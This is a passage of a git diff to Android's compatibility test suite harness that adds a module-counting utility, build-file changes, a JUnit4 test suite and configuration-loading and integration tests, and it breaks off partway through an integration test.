+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/util/UniqueModuleCountUtil.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.util;
+
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
+
+import java.util.HashSet;
+import java.util.List;
+
+/**
+ * Utility to count the number of unique module from list of {@link IModuleDef}.
+ */
+public class UniqueModuleCountUtil {
+
+    /**
+     * Count the number of unique modules within the list using module id. If two IModuleDef have
+     * the same id, they are part of the same module.
+     *
+     * @param listModules list of {@link IModuleDef} to count from
+     * @return the count of unique module.
+     */
+    public static int countUniqueModules(List<IModuleDef> listModules) {
+        HashSet<String> uniqueNames = new HashSet<>();
+        for (IModuleDef subModule : listModules) {
+            uniqueNames.add(subModule.getId());
+        }
+        return uniqueNames.size();
+    }
+}
diff --git a/common/host-side/tradefed/tests/Android.mk b/common/host-side/tradefed/tests/Android.mk
index e8b959a..c61594a 100644
--- a/common/host-side/tradefed/tests/Android.mk
+++ b/common/host-side/tradefed/tests/Android.mk
@@ -19,6 +19,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
 LOCAL_JAVA_RESOURCE_DIRS := ../res
+include cts/error_prone_rules.mk
 
 LOCAL_SUITE_BUILD_NUMBER := 2
 LOCAL_SUITE_TARGET_ARCH := $(TARGET_ARCH)
@@ -27,20 +28,22 @@
 LOCAL_SUITE_VERSION := 1
 
 LOCAL_MODULE := compatibility-mock-tradefed
-
+include cts/error_prone_rules.mk
 include $(BUILD_COMPATIBILITY_SUITE)
 
 # Make the tests
 include $(CLEAR_VARS)
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIRS := res
 
+include cts/error_prone_rules.mk
 LOCAL_MODULE := compatibility-tradefed-tests
 
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_STATIC_JAVA_LIBRARIES := easymock
 
-LOCAL_JAVA_LIBRARIES := tradefed-prebuilt compatibility-mock-tradefed junit-host compatibility-host-util
+LOCAL_JAVA_LIBRARIES := tradefed compatibility-mock-tradefed junit-host compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/common/host-side/tradefed/tests/res/testtype/testJar1.jar b/common/host-side/tradefed/tests/res/testtype/testJar1.jar
new file mode 100644
index 0000000..50d5bd2
--- /dev/null
+++ b/common/host-side/tradefed/tests/res/testtype/testJar1.jar
Binary files differ
diff --git a/common/host-side/tradefed/tests/res/testtype/testJar2.jar b/common/host-side/tradefed/tests/res/testtype/testJar2.jar
new file mode 100644
index 0000000..a4c3179
--- /dev/null
+++ b/common/host-side/tradefed/tests/res/testtype/testJar2.jar
Binary files differ
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index 43e2837..fc04085 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -17,6 +17,11 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelperTest;
 import com.android.compatibility.common.tradefed.command.CompatibilityConsoleTest;
+import com.android.compatibility.common.tradefed.config.ConfigurationFactoryTest;
+import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
+import com.android.compatibility.common.tradefed.presubmit.IntegrationTest;
+import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
+import com.android.compatibility.common.tradefed.presubmit.ValidateTestsAbi;
 import com.android.compatibility.common.tradefed.result.ChecksumReporterTest;
 import com.android.compatibility.common.tradefed.result.ConsoleReporterTest;
 import com.android.compatibility.common.tradefed.result.MetadataReporterTest;
@@ -24,46 +29,76 @@
 import com.android.compatibility.common.tradefed.result.SubPlanHelperTest;
 import com.android.compatibility.common.tradefed.targetprep.PropertyCheckTest;
 import com.android.compatibility.common.tradefed.targetprep.SettingsPreparerTest;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBaseTest;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTestTest;
+import com.android.compatibility.common.tradefed.testtype.JarHostTestTest;
 import com.android.compatibility.common.tradefed.testtype.ModuleDefTest;
 import com.android.compatibility.common.tradefed.testtype.ModuleRepoTest;
 import com.android.compatibility.common.tradefed.testtype.SubPlanTest;
+import com.android.compatibility.common.tradefed.testtype.retry.RetryFactoryTestTest;
+import com.android.compatibility.common.tradefed.testtype.suite.CompatibilityTestSuiteTest;
 import com.android.compatibility.common.tradefed.util.CollectorUtilTest;
 import com.android.compatibility.common.tradefed.util.OptionHelperTest;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelperTest;
+import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtilTest;
 
-import junit.framework.Test;
-import junit.framework.TestSuite;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite;
+import org.junit.runners.Suite.SuiteClasses;
 
 /**
  * A test suite for all compatibility tradefed unit tests.
  * <p/>
  * All tests listed here should be self-contained, and do not require any external dependencies.
  */
-public class UnitTests extends TestSuite {
+@RunWith(Suite.class)
+@SuiteClasses({
+    // build
+    CompatibilityBuildHelperTest.class,
 
-    public UnitTests() {
-        super();
-        addTestSuite(CompatibilityBuildHelperTest.class);
-        addTestSuite(CompatibilityConsoleTest.class);
-        addTestSuite(CompatibilityTestTest.class);
-        addTestSuite(ConsoleReporterTest.class);
-        addTestSuite(ChecksumReporterTest.class);
-        addTestSuite(ResultReporterTest.class);
-        addTestSuite(CompatibilityTestTest.class);
-        addTestSuite(OptionHelperTest.class);
-        addTestSuite(CollectorUtilTest.class);
-        addTestSuite(MetadataReporterTest.class);
-        addTestSuite(ModuleDefTest.class);
-        addTestSuite(ModuleRepoTest.class);
-        addTestSuite(PropertyCheckTest.class);
-        addTestSuite(SettingsPreparerTest.class);
-        addTestSuite(SubPlanTest.class);
-        addTestSuite(SubPlanHelperTest.class);
-        addTestSuite(RetryFilterHelperTest.class);
-    }
+    // command
+    CompatibilityConsoleTest.class,
 
-    public static Test suite() {
-        return new UnitTests();
-    }
+    //config
+    ConfigurationFactoryTest.class,
+
+    // presubmit
+    CtsConfigLoadingTest.class,
+    IntegrationTest.class,
+    PresubmitSetupValidation.class,
+    ValidateTestsAbi.class,
+
+    //result
+    ChecksumReporterTest.class,
+    ConsoleReporterTest.class,
+    MetadataReporterTest.class,
+    ResultReporterTest.class,
+    SubPlanHelperTest.class,
+
+    // targetprep
+    PropertyCheckTest.class,
+    SettingsPreparerTest.class,
+
+    // testtype
+    CompatibilityHostTestBaseTest.class,
+    CompatibilityTestTest.class,
+    JarHostTestTest.class,
+    ModuleDefTest.class,
+    ModuleRepoTest.class,
+    SubPlanTest.class,
+
+    // testtype.retry
+    RetryFactoryTestTest.class,
+
+    // testype.suite
+    CompatibilityTestSuiteTest.class,
+
+    // util
+    CollectorUtilTest.class,
+    OptionHelperTest.class,
+    RetryFilterHelperTest.class,
+    UniqueModuleCountUtilTest.class,
+})
+public class UnitTests {
+    // empty on purpose
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
index 41f9e8d..44c262d 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelperTest.java
@@ -17,6 +17,7 @@
 package com.android.compatibility.common.tradefed.build;
 
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.OptionSetter;
 import com.android.tradefed.util.FileUtil;
 
 import junit.framework.TestCase;
@@ -37,7 +38,6 @@
     private static final String BASE_DIR_NAME = "android-tests";
     private static final String TESTCASES = "testcases";
     private static final String COMMAND_LINE_ARGS = "cts -m CtsModuleTestCases";
-    private static final long START_TIME = 123456L;
 
     private File mRoot = null;
     private File mBase = null;
@@ -48,7 +48,28 @@
     @Override
     public void setUp() throws Exception {
         mRoot = FileUtil.createTempDir(ROOT_DIR_NAME);
-        CompatibilityBuildProvider provider = new CompatibilityBuildProvider();
+        setProperty(mRoot.getAbsolutePath());
+        CompatibilityBuildProvider provider = new CompatibilityBuildProvider() {
+            @Override
+            protected String getSuiteInfoName() {
+                return SUITE_NAME;
+            }
+            @Override
+            protected String getSuiteInfoBuildNumber() {
+                return BUILD_NUMBER;
+            }
+            @Override
+            protected String getSuiteInfoFullname() {
+                return SUITE_FULL_NAME;
+            }
+            @Override
+            protected String getSuiteInfoVersion() {
+                return SUITE_VERSION;
+            }
+        };
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", DYNAMIC_CONFIG_URL);
         mBuild = provider.getBuild();
         mHelper = new CompatibilityBuildHelper(mBuild);
     }
@@ -71,7 +92,6 @@
 
     public void testSuiteInfoLoad() throws Exception {
         setProperty(mRoot.getAbsolutePath());
-        mHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
         assertEquals("Incorrect suite build number", BUILD_NUMBER, mHelper.getSuiteBuild());
         assertEquals("Incorrect suite name", SUITE_NAME, mHelper.getSuiteName());
         assertEquals("Incorrect suite full name", SUITE_FULL_NAME, mHelper.getSuiteFullName());
@@ -80,23 +100,29 @@
 
     public void testProperty() throws Exception {
         setProperty(null);
-        CompatibilityBuildProvider provider = new CompatibilityBuildProvider();
-        CompatibilityBuildHelper helper = new CompatibilityBuildHelper(provider.getBuild());
+        CompatibilityBuildProvider provider = new CompatibilityBuildProvider() {
+            @Override
+            protected String getSuiteInfoName() {
+                return SUITE_NAME;
+            }
+        };
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", DYNAMIC_CONFIG_URL);
         try {
             // Should fail with root unset
-            helper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
+            new CompatibilityBuildHelper(provider.getBuild());
             fail("Expected fail for unset root property");
         } catch (IllegalArgumentException e) {
             /* expected */
         }
         setProperty(mRoot.getAbsolutePath());
         // Shouldn't fail with root set
-        helper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
+        new CompatibilityBuildHelper(provider.getBuild());
     }
 
     public void testValidation() throws Exception {
         setProperty(mRoot.getAbsolutePath());
-        mHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
         try {
             mHelper.getDir();
             fail("Build helper validation succeeded on an invalid installation");
@@ -114,7 +140,6 @@
 
     public void testDirs() throws Exception {
         setProperty(mRoot.getAbsolutePath());
-        mHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
         createDirStructure();
         assertNotNull(mRoot);
         assertNotNull(mBuild);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/command/CompatibilityConsoleTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/command/CompatibilityConsoleTest.java
index 55c1651..9b59775 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/command/CompatibilityConsoleTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/command/CompatibilityConsoleTest.java
@@ -20,6 +20,9 @@
 
 import junit.framework.TestCase;
 
+/**
+ * Unit tests for {@link CompatibilityConsole}.
+ */
 public class CompatibilityConsoleTest extends TestCase {
 
     @Override
@@ -32,13 +35,8 @@
         CompatibilityBuildHelperTest.setProperty(null);
     }
 
-    public void testHelpExists() throws Exception {
-        CompatibilityConsole console = new CompatibilityConsole() {};
-        assertFalse("No help", console.getGenericHelpString(null).isEmpty());
-    }
-
     public void testPromptExists() throws Exception {
-        CompatibilityConsole console = new CompatibilityConsole() {};
+        CompatibilityConsole console = new CompatibilityConsole();
         assertFalse("No prompt", console.getConsolePrompt().isEmpty());
     }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/config/ConfigurationFactoryTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/config/ConfigurationFactoryTest.java
new file mode 100644
index 0000000..3a59387
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/config/ConfigurationFactoryTest.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.config;
+
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+
+import junit.framework.TestCase;
+
+/**
+ * Unit tests for {@link ConfigurationFactory} imported from Trade Federation to check cts
+ * configuration loading.
+ */
+public class ConfigurationFactoryTest extends TestCase {
+
+    private ConfigurationFactory mConfigFactory;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mConfigFactory = (ConfigurationFactory) ConfigurationFactory.getInstance();
+    }
+
+    /**
+     * Sanity test to ensure all config names on classpath are loadable.
+     */
+    public void testLoadAllConfigs() throws ConfigurationException {
+        // we dry-run the templates otherwise it will always fail.
+        mConfigFactory.loadAllConfigs(false);
+    }
+
+    /**
+     * Sanity test to ensure all configs on classpath can be fully loaded and parsed.
+     */
+    public void testLoadAndPrintAllConfigs() throws ConfigurationException {
+        // Printing the help involves more checks since it tries to resolve the config objects.
+        mConfigFactory.loadAndPrintAllConfigs();
+    }
+}
\ No newline at end of file
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
new file mode 100644
index 0000000..4dab43f
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.config.ConfigurationException;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Test that configuration in CTS can load and have expected properties.
+ */
+public class CtsConfigLoadingTest {
+
+    private static final String METADATA_COMPONENT = "component";
+    private static final Set<String> KNOWN_COMPONENTS = new HashSet<>(Arrays.asList(
+            // modifications to the list below must be reviewed
+            "abuse",
+            "art",
+            "auth",
+            "auto",
+            "backup",
+            "bionic",
+            "bluetooth",
+            "camera",
+            "deqp",
+            "devtools",
+            "framework",
+            "graphics",
+            "libcore",
+            "location",
+            "media",
+            "metrics",
+            "misc",
+            "networking",
+            "renderscript",
+            "security",
+            "systems",
+            "sysui",
+            "telecom",
+            "tv",
+            "uitoolkit",
+            "vr",
+            "webview"
+    ));
+
+    /**
+     * Test that configuration shipped in Tradefed can be parsed.
+     * -> Exclude deprecated ApkInstaller.
+     */
+    @Test
+    public void testConfigurationLoad() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // We expect to be able to load every single config in testcases/
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
+                    throw new ConfigurationException(
+                            String.format("%s: Use com.android.tradefed.targetprep.suite."
+                                    + "SuiteApkInstaller instead of com.android.compatibility."
+                                    + "common.tradefed.targetprep.ApkInstaller, options will be "
+                                    + "the same.", config));
+                }
+            }
+            ConfigurationDescriptor cd = c.getConfigurationDescription();
+            Assert.assertNotNull(config + ": configuration descriptor is null", cd);
+            List<String> component = cd.getMetaData(METADATA_COMPONENT);
+            Assert.assertNotNull(String.format("Missing module metadata field \"component\", "
+                    + "please add the following line to your AndroidTest.xml:\n"
+                    + "<option name=\"config-descriptor:metadata\" key=\"component\" "
+                    + "value=\"...\" />\nwhere \"value\" must be one of: %s\n"
+                    + "config: %s", KNOWN_COMPONENTS, config),
+                    component);
+            Assert.assertEquals(String.format("Module config contains more than one \"component\" "
+                    + "metadata field: %s\nconfig: %s", component, config),
+                    1, component.size());
+            String cmp = component.get(0);
+            Assert.assertTrue(String.format("Module config contains unknown \"component\" metadata "
+                    + "field \"%s\", supported ones are: %s\nconfig: %s",
+                    cmp, KNOWN_COMPONENTS, config), KNOWN_COMPONENTS.contains(cmp));
+        }
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
new file mode 100644
index 0000000..609fe6b
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -0,0 +1,703 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.SuiteInfo;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.result.ResultReporter;
+import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
+import com.android.compatibility.common.tradefed.testtype.IModuleDef;
+import com.android.compatibility.common.util.IInvocationResult;
+import com.android.compatibility.common.util.TestStatus;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
+import com.android.tradefed.invoker.ShardListener;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.result.ResultForwarder;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.util.AbiUtils;
+import com.android.tradefed.util.FileUtil;
+
+import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Integration tests between {@link CompatibilityTest} and {@link ResultReporter} to ensure proper
+ * flow of run and results.
+ */
+@RunWith(JUnit4.class)
+public class IntegrationTest {
+
+    private static final String CONFIG =
+            "<configuration description=\"Auto Generated File\">\n" +
+            "<option name=\"config-descriptor:metadata\" key=\"component\" value=\"%s\" />\n" +
+            "<test class=\"com.android.compatibility.common.tradefed.testtype.%s\">\n" +
+            "    <option name=\"report-test\" value=\"%s\" />\n" +
+            "    <option name=\"run-complete\" value=\"%s\" />\n" +
+            "    <option name=\"test-fail\" value=\"%s\" />\n" +
+            "    <option name=\"internal-retry\" value=\"%s\" />\n" +
+            "</test>\n" +
+            "</configuration>";
+    private static final String FILENAME = "%s.config";
+    private static final String TEST_STUB = "TestStub"; // Test stub
+    private static final String SIMPLE_TEST_STUB = "SimpleTestStub"; // Simple test stub
+    private static final String TEST_STUB_SHARDABLE = "TestStubShardable";
+    private static final String COMMAND_LINE = "run cts";
+
+    private CompatibilityTest mTest;
+    private ResultReporter mReporter;
+    private ITestDevice mMockDevice;
+    private IBuildInfo mMockBuildInfo;
+    private IInvocationContext mContext;
+
+    private File mRootDir;
+    private File mAndroidFolder;
+    private File mTestDir;
+    private Map<String, String> mAttributes;
+
+    @Before
+    public void setUp() throws IOException {
+        mAttributes = new HashMap<>();
+        mTest = new CompatibilityTest() {
+            @Override
+            protected Set<String> getAbisForBuildTargetArch() {
+                Set<String> abis = new HashSet<>();
+                abis.add("arm64-v8a");
+                abis.add("armeabi-v7a");
+                return abis;
+            }
+        };
+        mReporter = new ResultReporter();
+        mMockDevice = EasyMock.createMock(ITestDevice.class);
+        mMockBuildInfo = EasyMock.createMock(IBuildInfo.class);
+        mTest.setBuild(mMockBuildInfo);
+        mTest.setDevice(mMockDevice);
+        mRootDir = FileUtil.createTempDir("fake-cts-root-dir");
+        mAndroidFolder = FileUtil.createTempDir("android-", mRootDir);
+        mTestDir = new File(mAndroidFolder, "testcases");
+        mTestDir.mkdirs();
+        String suiteName = mAndroidFolder.getName().split("-")[1];
+        // Create fake build attributes
+        mAttributes.put(CompatibilityBuildHelper.ROOT_DIR, mRootDir.getAbsolutePath());
+        mAttributes.put(CompatibilityBuildHelper.SUITE_NAME, suiteName);
+        mAttributes.put(CompatibilityBuildHelper.START_TIME_MS, "0");
+        mAttributes.put(CompatibilityBuildHelper.SUITE_VERSION, "10");
+        mAttributes.put(CompatibilityBuildHelper.SUITE_PLAN, "cts");
+        mAttributes.put(CompatibilityBuildHelper.SUITE_BUILD, "good-build");
+        mAttributes.put(CompatibilityBuildHelper.COMMAND_LINE_ARGS, COMMAND_LINE);
+
+        // these attributes seems necessary for re-run, not for run
+        mAttributes.put("cts:build_fingerprint", "fingerprint");
+        mAttributes.put("cts:build_product", "product");
+        mAttributes.put("cts:build_id", "bid");
+
+        EasyMock.expect(mMockBuildInfo.getBuildAttributes()).andStubReturn(mAttributes);
+
+        EasyMock.expect(mMockDevice.getSerialNumber()).andStubReturn("SERIAL");
+        EasyMock.expect(mMockBuildInfo.getDeviceSerial()).andStubReturn("SERIAL");
+
+        mContext = new InvocationContext();
+        mContext.addAllocatedDevice("default", mMockDevice);
+        mContext.addDeviceBuildInfo("default", mMockBuildInfo);
+        mTest.setInvocationContext(mContext);
+    }
+
+    @After
+    public void tearDown() {
+        FileUtil.recursiveDelete(mRootDir);
+    }
+
+    /**
+     * Create a CTS configuration with a fake tests to exercise all cases.
+     *
+     * @param testsDir The testcases/ dir where to put the module
+     * @param name the name of the module.
+     * @param moduleClass the fake test class to use.
+     * @param reportTest True if the test report some tests
+     * @param runComplete True if the test run is complete
+     * @param doesOneTestFail True if one of the test is going to fail
+     * @param internalRetry True if the test will retry the module itself once
+     */
+    private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
+            boolean runComplete, boolean doesOneTestFail, boolean internalRetry)
+                    throws IOException {
+        createConfig(testsDir, name, moduleClass, reportTest, runComplete, doesOneTestFail,
+                internalRetry, "foo");
+
+    }
+
+    /**
+     * Create a CTS configuration with a fake tests to exercise all cases.
+     *
+     * @param testsDir The testcases/ dir where to put the module
+     * @param name the name of the module.
+     * @param moduleClass the fake test class to use.
+     * @param reportTest True if the test report some tests
+     * @param runComplete True if the test run is complete
+     * @param doesOneTestFail True if one of the test is going to fail
+     * @param internalRetry True if the test will retry the module itself once
+     * @param component the platform component name that the module can be categorized under
+     */
+    private void createConfig(File testsDir, String name, String moduleClass, boolean reportTest,
+            boolean runComplete, boolean doesOneTestFail, boolean internalRetry, String component)
+                    throws IOException {
+        File config = new File(testsDir, String.format(FILENAME, name));
+        FileUtil.deleteFile(config);
+        if (!config.createNewFile()) {
+            throw new IOException(String.format("Failed to create '%s'", config.getAbsolutePath()));
+        }
+
+        FileUtil.writeToFile(String.format(CONFIG, component, moduleClass, reportTest, runComplete,
+                doesOneTestFail, internalRetry), config);
+    }
+
+    /**
+     * Simple tests running in one module that should be marked complete.
+     */
+    @Test
+    public void testSingleModuleRun() throws Exception {
+        final String moduleName = "moduleA";
+        final String mAbi = "arm64-v8a";
+        createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, false);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        mReporter.invocationStarted(mContext);
+        mTest.run(mReporter);
+        mReporter.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        IInvocationResult result = mReporter.getResult();
+        assertEquals(2, result.countResults(TestStatus.PASS));
+        assertEquals(1, result.countResults(TestStatus.FAIL));
+        assertEquals(1, result.getModules().size());
+        assertEquals(1, result.getModuleCompleteCount());
+    }
+
+    /**
+     * Verify that result reporters test run ended callback can receive component name as configured
+     * in module config metadata field.
+     */
+    @Test
+    public void testSingleModuleRun_checkMetadata() throws Exception {
+        final String moduleName = "AwsomeModule";
+        final String mAbi = "arm64-v8a";
+        final String component = "CriticalComponent";
+        final List<String> receivedComponentsTestEnded = new ArrayList<>();
+        final List<String> receivedModuleNameTestEnded = new ArrayList<>();
+        final List<String> receivedAbiTestEnded = new ArrayList<>();
+        final List<String> receivedComponentsTestRunEnded = new ArrayList<>();
+        final List<String> receivedModuleNameTestRunEnded = new ArrayList<>();
+        final List<String> receivedAbiTestRunEnded = new ArrayList<>();
+        createConfig(mTestDir, moduleName, SIMPLE_TEST_STUB, true, true, true, false, component);
+        EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
+
+        mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
+                EasyMock.eq(AbiUtils.createId(mAbi, moduleName)));
+        EasyMock.expectLastCall();
+
+        EasyMock.replay(mMockDevice, mMockBuildInfo);
+        ITestInvocationListener myListener = new ITestInvocationListener() {
+            private IInvocationContext myContext;
+            @Override
+            public void invocationStarted(IInvocationContext context) {
+                myContext = context;
+            }
+            @Override
+            public void testRunEnded(long elapsedTimeMillis, Map<String, String> runMetrics) {
+                receivedComponentsTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getConfigurationDescriptor().getMetaData("component"));
+                receivedModuleNameTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_NAME));
+                receivedAbiTestRunEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_ABI));
+            }
+            @Override
+            public void testEnded(TestIdentifier test, long endTime,
+                    Map<String, String> testMetrics) {
+                receivedComponentsTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getConfigurationDescriptor().getMetaData("component"));
+                receivedModuleNameTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_NAME));
+                receivedAbiTestEnded.addAll(myContext.getModuleInvocationContext()
+                        .getAttributes().get(IModuleDef.MODULE_ABI));
+            }
+        };
+        myListener.invocationStarted(mContext);
+        mTest.run(myListener);
+        myListener.invocationEnded(500);
+        EasyMock.verify(mMockDevice, mMockBuildInfo);
+        // verify metadata was retrieved during testRunEnded callbacks
